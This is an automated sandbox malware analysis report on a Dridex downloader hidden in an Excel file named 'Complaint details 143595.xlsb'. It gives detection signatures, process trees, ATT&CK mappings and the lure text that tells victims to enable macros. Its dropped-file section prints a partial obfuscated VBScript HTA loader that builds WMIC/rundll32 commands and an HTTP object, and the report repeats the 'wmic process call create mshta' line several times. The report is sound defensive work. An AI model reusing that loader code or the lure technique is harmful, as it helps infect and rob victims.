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Windows Analysis Report Complaint details 143595.xlsb

Overview

General Information

Sample Name:	Complaint details 143595.xlsb
Analysis ID:	532579
MD5:	91eca239ee8b604f18f6fb1ed6cde135
SHA1:	78c47637b513d11ba6c36b19b9d79f7ee7a86338
SHA256:	4dea495d5c1c5e0cb56677608b5efa53658cc20bb836f9cccd2aa1092b573aa8
Tags:	Dridexxlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Searches for the Microsoft Outlook file path

May sleep (evasive loops) to hinder dynamic analysis

Yara detected Xls With Macro 4.0

Sigma detected: Suspicious WMI Execution

Detected potential crypto function

Creates a window with clipboard capturing capabilities

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2660 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WMIC.exe (PID: 2796 cmdline: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf" MD5: FD902835DEAEF4091799287736F3A028)

mshta.exe (PID: 632 cmdline: mshta C:\ProgramData\KBjfhfmoGRoN.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\KBjfhfmoGRoN.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2660, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", ProcessId: 2796

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2660, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf", ProcessId: 2796

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Complaint details 143595.xlsb

ReversingLabs: Detection: 37%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\wbem\WMIC.exe

Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000004.00000002.680600886.0000000003650000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: WMIC.exe, 00000002.00000002.468672527.0000000001BF0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000004.00000002.680600886.0000000003650000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E2AB5816.png

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\KBjfhfmoGRoN.rtf, type: DROPPED

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING FROM YELLOW BAR ABOVE 4 Once you have clicked, please click "Enable Content" 5 6
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED 2 Open this document with Desktop Version of Microsoft Office Excel. 3 CLICK
Source: Screenshot number: 4	Screenshot OCR: Enable Content" 5 6 7 8 9 10 11 12 13 T Macro Error @"\|\| 23 i zvious version of Microsoft O
Source: Screenshot number: 8	Screenshot OCR: ENABLE EDITING FROM YELLOW BAR ABOVE 4 Once you have clicked, please click "Enable Content" 5 6
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED 2 Open this document with Desktop Version of Microsoft Office Excel. 3 CLICK
Source: Screenshot number: 8	Screenshot OCR: Enable Content" 5 6 7 8 9 10 11 12 13 1'Macro Error WW"'vious version of Microsoft Office E

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Complaint details 143595.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: Complaint details 143595.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: EXCEL.EXE, 00000000.00000002.684617078.0000000005CDF000.00000004.00000001.sdmp

Binary or memory string: C:\Windows\System32\Wbem;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default=C:=C:\Users\user\DocumentsALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeFP_NO_HOST_CHECK=NOHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=4OS=Windows_NTPath=C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86

Found obfuscated Excel 4.0 Macro

Show sources

Source: Complaint details 143595.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 25

Source: Complaint details 143595.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D56753	0_2_01D56753
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D56340	0_2_01D56340
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D56743	0_2_01D56743
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D566F3	0_2_01D566F3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D566E8	0_2_01D566E8
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_01D57820	0_2_01D57820

Source: Complaint details 143595.xlsb

ReversingLabs: Detection: 37%

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf"
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\KBjfhfmoGRoN.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\KBjfhfmoGRoN.rtf"	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Complaint details 143595.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRED89.tmp

Jump to behavior

Source: classification engine

Classification label: mal96.troj.expl.evad.winXLSB@4/3@0/0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Complaint details 143595.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: Complaint details 143595.xlsb	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown	Process created: cmd line: kbjfhfmogron.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: cmd line: kbjfhfmogron.rtf			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe TID: 1936	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1996	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: Yara match

File source: app.xml, type: SAMPLE

Source: EXCEL.EXE, 00000000.00000002.679903919.00000000008A0000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.679653998.0000000000AF0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.679510667.000000000026E000.00000004.00000001.sdmp	Binary or memory string: Progman
Source: EXCEL.EXE, 00000000.00000002.679903919.00000000008A0000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.679653998.0000000000AF0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.679903919.00000000008A0000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.679653998.0000000000AF0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation			Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting3	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution2	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion1	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection2	NTDS	System Information Discovery15	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting3	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Complaint details 143595.xlsb	38%	ReversingLabs	Document-Excel.Infostealer.Dridex

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	false		high
http://investor.msn.com	mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	mshta.exe, 00000004.00000002.680600886.0000000003650000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://www.icra.org/vocabulary/.	EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000004.00000002.680600886.0000000003650000.00000002.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	EXCEL.EXE, 00000000.00000002.684013280.00000000052B7000.00000002.00020000.sdmp, mshta.exe, 00000004.00000002.680346112.0000000003357000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	WMIC.exe, 00000002.00000002.468672527.0000000001BF0000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	mshta.exe, 00000004.00000002.680081995.0000000003170000.00000002.00020000.sdmp	false		high

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532579
Start date:	02.12.2021
Start time:	14:06:40
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Complaint details 143595.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.expl.evad.winXLSB@4/3@0/0
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 6
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:07:47	API Interceptor	12x Sleep call for process: WMIC.exe modified
14:07:48	API Interceptor	448x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\KBjfhfmoGRoN.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4860
Entropy (8bit):	5.077314823774821
Encrypted:	false
SSDEEP:	96:KeCWYe46RfZJNEp/491/KjxqfF29ldUQByEQmjuVoI3RfDMUL:KeCFezhZJNEp/491/KVOF25UQp9uiI3r
MD5:	49260A7E1DE719025128C72993301DED
SHA1:	BC80B798A2696B823D18588EB0AB6FEBF2A02F87
SHA-256:	B625DC085D39BC8CDDA7C4277CFA755B4DAA7052701AB9DF16CAC86FC99EAEBE
SHA-512:	60D40005155EAF790F5D20ECEE68B89D89D6512EB46E0CF03353BAE5F2EC2050F96F04161C41B2C0C23496F0212D3AB3CDF875034A31740CFAD0CE0EC7BFD0E7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\KBjfhfmoGRoN.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..N_Z_y_N_H_x_q_R_V_g_S_m_G_x_A = "wm" & "ic" & Chr(32) & "pro" & "ce" & "ss " & "cal" & "l c" & Chr(114) & "ea" & Chr(116) & Chr(101) & Chr(32) & Chr(34) & "ru" & "nd" & "ll3" & Chr(50) & ".ex" & "e " & "" & "C:" & "" & "" & "\\" & Chr(80) & "" & "ro" & "gra" & "mD" & "" & "at" & "" & Chr(97) & "\iu" & "" & "nig" & "" & Chr(103) & Chr(101) & Chr(114) & ".b" & "in " & Chr(71) & Chr(101) & "" & "" & Chr(116) & "NT" & Chr(86) & "er" & "" & Chr(115) & "io" & Chr(110) & "" & "" & "" & Chr(34)..Set r_F_N_z_e_o_v_y_b_F_L_E_Z_I_I_s_w = CreateObject("MS" & "XML" & "2.S" & "er" & "ver" & Chr(88+1-1) & "MLH" & "TT" & "P." & "" & "" & "" & "" & "6." & Chr(48+1-1) & "")....D_l_t_o_e_o_I_s = "" & Chr(87+1-1) & Chr(115+1-1) & "" & "" & "cr" & Chr(105+1-1)

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E2AB5816.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 960 x 510, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	69191
Entropy (8bit):	7.944286664628326
Encrypted:	false
SSDEEP:	1536:6fn2pc8EJ8flXchmJQL08Kt2G2G6yv/3GAohPG+rLzrLZu00izn:C2pjE2pWmWfBG7DHG5hpnk0r
MD5:	E1D0A03A4956FF80068F5297E2C4AC15
SHA1:	D59E49A3FD454D9A66CF4F847E1D727CE8A85D0D
SHA-256:	D5A8E7A4BB9D2D6888D2B8BF585C9B7694270C2B41E81A7A3D0D36A291D8AB73
SHA-512:	91C1CEC41468FB589D5AF5FEC969B67F55C15990B14B2E5D77D1BA8037A6C404332B517A8F73EA59BDD0D982C75734F3AAEB0E7A92363C1E1DA3B5B92F35E062
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............S9go....IDATx...w..E.....&..q...."...(M...E:......?..gG..X.E.B.E...R.I...Uz.....#7K.Kr....y..@.evfvv.;..BJ)ADDDDDDt...u............DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........QD`.LDDDDDD...0......E...DDDDDD..........Q

C:\Users\user\Desktop\~$Complaint details 143595.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.884142319689223
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	Complaint details 143595.xlsb
File size:	97313
MD5:	91eca239ee8b604f18f6fb1ed6cde135
SHA1:	78c47637b513d11ba6c36b19b9d79f7ee7a86338
SHA256:	4dea495d5c1c5e0cb56677608b5efa53658cc20bb836f9cccd2aa1092b573aa8
SHA512:	215309e43413c0af9f253c6a4afad0976ff5b5dc808ac97d3f1a418b3ab0edb36e5e3f818037cc8df955e40ed29acdcfb6a4e58966f53f799dd7911b313b0664
